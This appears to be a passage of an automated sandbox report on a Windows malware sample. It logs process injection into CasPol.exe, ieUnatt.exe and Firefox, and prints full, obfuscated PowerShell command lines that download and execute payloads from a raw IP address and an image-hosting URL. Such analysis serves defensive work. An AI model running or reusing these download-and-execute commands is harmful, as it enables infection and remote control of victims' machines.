Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: NULL target: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: NULL target: C:\Windows\SysWOW64\ieUnatt.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: NULL target: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: NULL target: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\ieUnatt.exe

Thread register set: target process: 5252

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\ieUnatt.exe

Thread APC queued: target process: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 401000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: C66008	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC568.tmp" "c:\Users\user\AppData\Local\Temp\j4tmsurx\CSCD8A49667F2D248CBA423D29C56F4A9D.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Process created: C:\Windows\SysWOW64\ieUnatt.exe "C:\Windows\SysWOW64\ieUnatt.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jew0zndkexlmajagicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagicbhrgqtvhlwzsagicagicagicagicagicagicagicagicagicagicagicattuvnykvszevgsu5jvglpbiagicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstu9olmrmtcisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagwfrvuefva1fslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbtrfbqs3bblhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbyz0jotvzalhvpbnqgicagicagicagicagicagicagicagicagicagicagicagzfnfskfza3bhleludfb0ciagicagicagicagicagicagicagicagicagicagicagicb5exvaq0fmwvkpoycgicagicagicagicagicagicagicagicagicagicagicaglw5htwugicagicagicagicagicagicagicagicagicagicagicagikvsaulmzk4iicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bhq2ugicagicagicagicagicagicagicagicagicagicagicagqxogicagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicaktdrmd2r5euxqmdo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzewny4xnziundqumtc1lzczl3npbxbszwnvb2tpzwjpc2n1dhdpdghzd2vldg5lc3nmb3jlbnrpcmv0aw1llnrjriisiirltny6qvbqrefuqvxzaw1wbgvjb29rawviaxnjdxr3axroc3dlzxruzxnzzm9yzw50axiudmjtiiwwldapo3nuqxjulvnszuvwkdmpo0lodk9rzs1fwfbszxnzaw9oicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcc2ltcgxly29va2llymlzy3v0d2l0ahn3zwv0bmvzc2zvcmvudglylnziuyi='+[char]0x22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jew0zndkexlmajagicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagicbhrgqtvhlwzsagicagicagicagicagicagicagicagicagicagicagicattuvnykvszevgsu5jvglpbiagicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstu9olmrmtcisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagwfrvuefva1fslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbtrfbqs3bblhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbyz0jotvzalhvpbnqgicagicagicagicagicagicagicagicagicagicagicagzfnfskfza3bhleludfb0ciagicagicagicagicagicagicagicagicagicagicagicb5exvaq0fmwvkpoycgicagicagicagicagicagicagicagicagicagicagicaglw5htwugicagicagicagicagicagicagicagicagicagicagicagikvsaulmzk4iicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bhq2ugicagicagicagicagicagicagicagicagicagicagicagqxogicagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicaktdrmd2r5euxqmdo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzewny4xnziundqumtc1lzczl3npbxbszwnvb2tpzwjpc2n1dhdpdghzd2vldg5lc3nmb3jlbnrpcmv0aw1llnrjriisiirltny6qvbqrefuqvxzaw1wbgvjb29rawviaxnjdxr3axroc3dlzxruzxnzzm9yzw50axiudmjtiiwwldapo3nuqxjulvnszuvwkdmpo0lodk9rzs1fwfbszxnzaw9oicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcc2ltcgxly29va2llymlzy3v0d2l0ahn3zwv0bmvzc2zvcmvudglylnziuyi='+[char]0x22+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $claustrophobe = 'jgf1dg9zyxzlid0gj2h0dhbzoi8vcmvzlmnsb3vkaw5hcnkuy29tl2r5dgzsddyxbi9pbwfnzs91cgxvywqvdje3mzmxmzq5ndcvymtschlzzxlldxq0aw1wdzuwbjeuanbnicc7jgnozw1vdhjvcglzbsa9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xzwjdbgllbnq7jhf1zwvmid0gjgnozw1vdhjvcglzbs5eb3dubg9hzerhdgeojgf1dg9zyxzlktskchvua2xpbmcgpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkcxvlzwypoyr0dwjlcmn1bg9wag9iawegpsanpdxcqvnfnjrfu1rbulq+pic7jgzlbxrvy291bg9tyia9icc8pejbu0u2nf9ftkq+pic7jhvudghyawz0esa9icrwdw5rbgluzy5jbmrlee9mkcr0dwjlcmn1bg9wag9iawepoyroyw1tyw0gpsakchvua2xpbmcusw5kzxhpzigkzmvtdg9jb3vsb21iktskdw50ahjpznr5ic1nzsawic1hbmqgjghhbw1hbsatz3qgjhvudghyawz0etskdw50ahjpznr5ics9icr0dwjlcmn1bg9wag9iaweutgvuz3rooyrwzxryb2rvbgxhcia9icroyw1tyw0glsakdw50ahjpznr5oyrkyxn5yxrpzgflid0gjhb1bmtsaw5nlln1ynn0cmluzygkdw50ahjpznr5lcakcgv0cm9kb2xsyxipoyrkawdpdgfsaxnpbmcgpsatam9pbiaojgrhc3lhdglkywuuvg9dagfyqxjyyxkoksb8iezvckvhy2gtt2jqzwn0ihsgjf8gfslblteuli0ojgrhc3lhdglkywuutgvuz3rokv07jhvuawrlywxpemvkid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkzglnaxrhbglzaw5nktsky29tbwvuzgluzya9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqojhvuawrlywxpemvkktskamfwb25py2fzid0gw2rubglilklplkhvbwvdlkdlde1ldghvzcgnvkfjjyk7jgphcg9uawnhcy5jbnzva2uojg51bgwsieaojzavy3vwreuvci9lzs5ldhnhcc8vonnwdhrojywgjyrjb25mawrlbnrpywxpdhknlcanjgnvbmzpzgvudglhbgl0escsiccky29uzmlkzw50awfsaxr5jywgj0nhc1bvbccsiccky29uzmlkzw50awfsaxr5jywgjyrjb25mawrlbnrpywxpdhknlccky29uzmlkzw50awfsaxr5jywnjgnvbmzpzgvudglhbgl0escsjyrjb25mawrlbnrpywxpdhknlccky29uzmlkzw50awfsaxr5jywnjgnvbmzpzgvudglhbgl0escsjzenlccky29uzmlkzw50awfsaxr5jykpow==';$uninverted = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($claustrophobe));invoke-expression $uninverted
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jew0zndkexlmajagicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagicbhrgqtvhlwzsagicagicagicagicagicagicagicagicagicagicagicattuvnykvszevgsu5jvglpbiagicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstu9olmrmtcisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagwfrvuefva1fslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbtrfbqs3bblhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbyz0jotvzalhvpbnqgicagicagicagicagicagicagicagicagicagicagicagzfnfskfza3bhleludfb0ciagicagicagicagicagicagicagicagicagicagicagicb5exvaq0fmwvkpoycgicagicagicagicagicagicagicagicagicagicagicaglw5htwugicagicagicagicagicagicagicagicagicagicagicagikvsaulmzk4iicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bhq2ugicagicagicagicagicagicagicagicagicagicagicagqxogicagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicaktdrmd2r5euxqmdo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzewny4xnziundqumtc1lzczl3npbxbszwnvb2tpzwjpc2n1dhdpdghzd2vldg5lc3nmb3jlbnrpcmv0aw1llnrjriisiirltny6qvbqrefuqvxzaw1wbgvjb29rawviaxnjdxr3axroc3dlzxruzxnzzm9yzw50axiudmjtiiwwldapo3nuqxjulvnszuvwkdmpo0lodk9rzs1fwfbszxnzaw9oicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcc2ltcgxly29va2llymlzy3v0d2l0ahn3zwv0bmvzc2zvcmvudglylnziuyi='+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jew0zndkexlmajagicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagicbhrgqtvhlwzsagicagicagicagicagicagicagicagicagicagicagicattuvnykvszevgsu5jvglpbiagicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstu9olmrmtcisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagwfrvuefva1fslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbtrfbqs3bblhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbyz0jotvzalhvpbnqgicagicagicagicagicagicagicagicagicagicagicagzfnfskfza3bhleludfb0ciagicagicagicagicagicagicagicagicagicagicagicb5exvaq0fmwvkpoycgicagicagicagicagicagicagicagicagicagicagicaglw5htwugicagicagicagicagicagicagicagicagicagicagicagikvsaulmzk4iicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bhq2ugicagicagicagicagicagicagicagicagicagicagicagqxogicagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicaktdrmd2r5euxqmdo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzewny4xnziundqumtc1lzczl3npbxbszwnvb2tpzwjpc2n1dhdpdghzd2vldg5lc3nmb3jlbnrpcmv0aw1llnrjriisiirltny6qvbqrefuqvxzaw1wbgvjb29rawviaxnjdxr3axroc3dlzxruzxnzzm9yzw50axiudmjtiiwwldapo3nuqxjulvnszuvwkdmpo0lodk9rzs1fwfbszxnzaw9oicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcc2ltcgxly29va2llymlzy3v0d2l0ahn3zwv0bmvzc2zvcmvudglylnziuyi='+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $claustrophobe = 'jgf1dg9zyxzlid0gj2h0dhbzoi8vcmvzlmnsb3vkaw5hcnkuy29tl2r5dgzsddyxbi9pbwfnzs91cgxvywqvdje3mzmxmzq5ndcvymtschlzzxlldxq0aw1wdzuwbjeuanbnicc7jgnozw1vdhjvcglzbsa9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xzwjdbgllbnq7jhf1zwvmid0gjgnozw1vdhjvcglzbs5eb3dubg9hzerhdgeojgf1dg9zyxzlktskchvua2xpbmcgpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkcxvlzwypoyr0dwjlcmn1bg9wag9iawegpsanpdxcqvnfnjrfu1rbulq+pic7jgzlbxrvy291bg9tyia9icc8pejbu0u2nf9ftkq+pic7jhvudghyawz0esa9icrwdw5rbgluzy5jbmrlee9mkcr0dwjlcmn1bg9wag9iawepoyroyw1tyw0gpsakchvua2xpbmcusw5kzxhpzigkzmvtdg9jb3vsb21iktskdw50ahjpznr5ic1nzsawic1hbmqgjghhbw1hbsatz3qgjhvudghyawz0etskdw50ahjpznr5ics9icr0dwjlcmn1bg9wag9iaweutgvuz3rooyrwzxryb2rvbgxhcia9icroyw1tyw0glsakdw50ahjpznr5oyrkyxn5yxrpzgflid0gjhb1bmtsaw5nlln1ynn0cmluzygkdw50ahjpznr5lcakcgv0cm9kb2xsyxipoyrkawdpdgfsaxnpbmcgpsatam9pbiaojgrhc3lhdglkywuuvg9dagfyqxjyyxkoksb8iezvckvhy2gtt2jqzwn0ihsgjf8gfsl